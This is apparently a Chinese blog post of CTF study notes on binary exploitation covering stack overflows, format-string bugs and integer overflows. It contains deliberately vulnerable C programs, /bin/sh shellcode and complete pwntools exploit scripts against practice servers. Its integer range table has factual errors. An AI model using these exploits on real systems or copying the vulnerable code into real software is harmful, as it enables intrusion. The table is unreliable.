栈溢出漏洞

原理

面对返回编程

ret2text

使用 pwndgb 插件的 cyclic 指令确定出返回的偏移为 136，所以构造填充字符大小为136个字节，后面紧接的便是返回的地址。控制这个返回的地址即可控制程序的执行流执行到我们指定的 system 函数。

from pwn import *r = remote("111.200.241.244", 57216)payload = 'A' * 136 + p64(0x00400596)r.sendlineafter("Hello, Worldn", payload)r.interactive()

#include<stdio.h>void func(){    asm("jmp *%rsp");}int main(){    char buf[200];    printf("what do you want? ");    gets(buf);    puts(buf);    return 0;}

gcc -no-pie -fno-stack-protector -zexecstack -o ret2shellcode ret2shellcode.c

from pwn import *context(arch="amd64",os="linux",log_level="debug")p = process("./ret2shellcode")elf = ELF("./ret2shellcode")jmp_esp = elf.search(asm('jmp rsp')).next()shellcode = asm(shellcraft.sh())payload = "A" * 0xd8 + p64(jmp_esp) + shellcode p.sendline(payload)p.interactive()

// 字符串：/bin//shpush 0x68push 0x732f2f2fpush 0x6e69622f// ebx ecx edx 传参mov ebx,espxor ecx,ecxxor edx,edx// eax = 系统调用号push 11pop eax// Linux 系统调用int 0x80

ROPgadget --binary ./ret2syscall --string /bin/shROPgadget --binary ./ret2syscall --only "pop|pop|pop|ret"|grep "edx"|grep "ebx"|grep "ecx"ROPgadget --binary ./ret2syscall --only "pop|ret"|grep eaxROPgadget --binary ./ret2syscall --only "int"|grep "0x80"

我们以 Github 上ctf-wiki项目中的题目来举例，项目地址是https://github.com/ctf-wiki/ctf-challenges/tree/master/pwn/stackoverflow/ret2syscall/bamboofox-ret2syscall。

#include <stdio.h>#include <stdlib.h>char *shell = "/bin/sh";int main(void){    setvbuf(stdout, 0LL, 2, 0LL);    setvbuf(stdin, 0LL, 1, 0LL);
    char buf[100];    printf("This time, no system() and NO SHELLCODE!!!n");    printf("What do you plan to do?n");    gets(buf);    return 0;}

from pwn import *p = process("./ret2syscall")pop_eax = p32(0x080bb196)pop_edx_ecx_ebx = p32(0x0806eb90)bin_sh = p32(0x080be408)int_0x80 = p32(0x08049421)offset = 112payload=flat(['a'*offset, pop_eax, 0xb, pop_edx_ecx_ebx, 0, 0, bin_sh,int_0x80])p.sendline(payload)p.interactive()

from pwn import *from LibcSearcher import *
p = remote("111.200.241.244","64745")elf = ELF('/mnt/hgfs/pwn-100')context.log_level='debug'
addr_pop_rdi = 0x400763addr_main = 0x4006B8
# 用于获取 read 的 got 表地址，相当于调用 puts(elf.got['read'])，然后输出出来，并重新启动程序payload = 'A' * 72 + p64(addr_pop_rdi) + p64(elf.got['read']) + p64(elf.symbols['puts']) + p64(addr_main) + 'A' * 96p.send(payload)p.recvuntil('x0a')
# 获取返回地址addr_read = p.recv()[:-1]addr_read = u64(addr_read.ljust(8,'x00'))# 获取 libc 中的 system 中的函数libc = LibcSearcher('read',addr_read)addr_base = addr_read - libc.dump('read')addr_sys = addr_base + libc.dump('system')addr_sh = addr_base + libc.dump('str_bin_sh')
payload = 'A' * 72 + p64(addr_pop_rdi) + p64(addr_sh) + p64(addr_sys) + p64(addr_main) + 'A' * 96p.send(payload)
p.interactive()

格式化字符串漏洞

原理

intprintf ( constchar*format, ... );

#include <stdio.h>void main(){         printf("%xn%xn%xn%xn%xn%xn%3$xn",         0x11111111, 0x22222222, 0x33333333, 0x44444444, 0x55555555,                0x66666666);}

 11111111
22222222
33333333
44444444
55555555
66666666
33333333

32位情况下，参数有栈传递，需格式化输出的参数都在存在在栈空间和格式化字符串相邻。这里介绍%3$x，表示输出格式化字符串后面的第三个参数。
64位程序的传参情况：

输出结果同32位程序。
得出结论：格式化字符串存放在rdi寄存器中，格式化字符串后的前五个参数对应存放在 rsi rdx rcx r8 r9，第六个之后的参数会入栈，以此类推。
在非正常调用格式化输出函数的情况下，会出现以下的代码：








voidmain(){    char* str = NULL;    scanf("%s",str);    printf(str);}

这样直接将格式化字符串暴露出来，可以通过构造特定形式的输入字符串达到泄露栈上信息和任意修改内存的效果。


利用1：泄露信息
向程序输入如%x%x%x%x%x%x便可获取到栈帧中并不属于printf函数的栈数据。如果计算好偏移，创建的可以获取到的信息有：数据的存放地址、函数地址、canary值等。
通过攻防世界题 Mary_Morton 的利用可以通过格式化字符串漏洞进行canary保护的绕过。关于 canary 保护的介绍可以查看 CTF-Wiki 的文章：https://ctf-wiki.org/pwn/linux/user-mode/mitigation/canary/
查看保护：

主要逻辑：

可以发现有一个格式化字符串漏洞：

还有一个栈溢出漏洞：

因为有 canary 保护，栈溢出漏洞无法直接使用填充字符覆盖到返回地址，需要绕过 canary 保护。在此可以通过格式化字符串漏洞泄露 canary 值，然后在 shellcode 中伪造 canary 值进行绕过。
在调用printf之前下断点，断下来后查看栈空间如下图。可以看到 canary 在栈空间偏移 0x11 个参数的位置，由于是64位的程序，加上6个寄存器传参，canary 的位置距离第一个参数偏移是 23，所以构造传给printf的参数为"%23$p"。泄露出 canary 之后用于构造栈溢出的 shellcode，达到绕过的效果。

EXP如下：



















from pwn import *p = remote("111.200.241.244",51032)p.sendlineafter("3. Exit the battle",'2')payload1 = '%23$p'p.sendline(payload1)p.recvuntil('0x')canary = int(p.recv()[:16],16)print "output: " + str(canary)canary_offset = 0x88ret_offset = 0x98get_flag_fun = 0x00000000004008DApayload2 = canary_offset * 'a' + p64(canary) + (ret_offset-canary_offset-8)*'a' + p64(get_flag_fun)p.sendlineafter("3. Exit the battle","1")p.sendline(payload2)p.interactive()



利用2：修改内存
可以通过攻防世界的一道 pwn 练习题-实时数据检测来了解。

题目关键逻辑如下：


大概逻辑是，判断存放在内存中 key 的值与 35795746 进行对比，如果相等则直接可以 get shell，但是正常逻辑下，key 是一个不受输入影响的值。但是可以发现imagemagic函数中出现在格式化漏洞，题目设计得恰好可以通过利用这漏洞进行对 key 的修改。查看rip == call printf 语句的地址时的栈，可以看到 key 的地址在离格式化字符串偏移为 16 的位置上。所以给 printf 传递的格式化字符串的值为"%35795746x%16$n","0x0804A048"，指的是将一个十六进制数以 35795746 个字节的方式输出，输出的 35795746 个字节数写入到 0x0804A048指向的地址，即 key 的地址。从而达到了对 key 值进行修改的目的。

 exp 如下：









from pwn import *p = remote("111.200.241.244",48715)key_addr = 0x0804A048payload = '%35795746x%16$nx00' + p32(0x0804A048)p.sendline(payload)p.interactive()



整数溢出漏洞
原理
整数溢出是指：在计算机编程中，当算术运算试图创建一个超出可以用给定位数表示的范围（高于最大值或低于可表示的最小值）的数值时，就会发生整数溢出。了解整数溢出，需先了解整型数据在内存中的存储形式。
下表列出C语言中个整型数据的数值范围和分配的内存字节数（与编译器相关，以下是64位的值）：




类型说明符
数值范围
字节数




int
-32768~32767 (0x80000000~0x7fffffff)
4


unsigned int
0~4294967295 (0~0xffffffff)
4


short int
-32768~32767 (0x8000~0x7ffff)
2


unsigned short int
0~65535 (0~0xffff)
2


long int
-2147483648~2147483647 (0x8000000000000000~0x7fffffffffffffff)
8


unsigned long
0~4294967295 (0~0xffffffffffffffff)
8




整数溢出的利用因为只能改变固定字节的输入，所以无法造成代码执行的效果。整数溢出漏洞需要配合程序的另一处的缺陷，才能达到利用的目的。通过输入能控制的程序中的数值（通常为输入的字符串的长度），用于处理与内存操作相关的限制或界限，便可能通过控制数值，设计缓冲区溢出，达到控制程序执行流程。笔者总结相关造成溢出的原因主要是对数值运算结果范围的错估和存在缺陷的类型转换。
《CTF竞赛权威指南》中，将整数的异常情况分为三种：溢出，回绕和截断。有符号整数发生的是溢出，对应字节数的有符号整数，最大值 + 1，会成为最小值， 最小值 -1 会成为最大值，此种情况可能绕过>0 或 <0的检测；无符号整数发生的是回绕，最大值 +1 变为0，最小值 -1 变为最大值；截断则出现在将运算结果赋值给不恰当大小的整数数据类型和不当的类型转换的情况下。


利用
下面以攻防世界中题目 int_overflow 为例介绍整数溢出漏洞的利用。主要逻辑如下：

login 函数



check_passwd 函数
从main函数可以看出，程序需要输入不超过19字节的username  和不超过199字节的passwd，进入check_passwd函数对passwd进行检查和保存。在通过strlen求输入字符串函数时，用了byte类型来接收返回值。strlen函数的返回值类型是size_t，size_t是sizeof关键字的返回值类型。一般在32位系统下是4字节的无符号整型，64位系统下是8字节的无符号整型。这里存在从size_t到byte类型的整型隐式转换。汇编上表示就是通过直接截取了al寄存器的值来接收strlen的返回值。结合前面限定的长度小于 0x199 个字符的限定，只需要保证最后一个字节大于3并小于8，那么任何一个长度大于 0x103 且小于 0x108 的字符串都可以非法绕过strcpy的长度检测。strcpy的目标缓冲区大小为11，通过构造的恶意长度的字符串足够可以造成栈溢出，之后便可通过覆盖返回地址达到对程序的控制。exp 如下所示：













frompwnimport*
p=remote('111.200.241.244',52212)p.sendlineafter("choice:",'1')p.sendlineafter("username:","bbb")system_addr = 0x8048699cat_flag = 0x08048960payload = 'a'*24 + p32(system_addr) + p32(cat_flag) + p32(0xbbbbbbbb) + 'a' * (0x104-24-4*2)p.sendlineafter("passwd:",payload)p.interactive()

结语
一入 pwn 门深似海，感谢references中的资源作者的分享，还有网上关于分析pwn的帖子，让我的学习少走不少弯路。因此，笔者把学习过程中的知识粗做整理，希望对初学者有所帮助，如有错误之处，敬请斧正。


参考资料
《CTF竞赛权威指南》，杨超

看雪课程：《零基础入门pwn》
https://github.com/ctf-wiki
https://ctf-wiki.org/pwn/linux/user-mode/environment/
https://cs155.stanford.edu/papers/formatstring-1.2.pdf








往期回顾





基于图卷积神经网络的web登录入口识别方法
Oracle WebLogic CVE-2022-21350 漏洞分析

Android NFC条件竞争漏洞分析（CVE-2021-0870）





引领智能网络攻防科技





点击在看
分享给小伙伴


↓↓点击阅读原文，了解更多墨云信息



原文始发于微信公众号（VLab Team）：二进制漏洞学习笔记 – PWN篇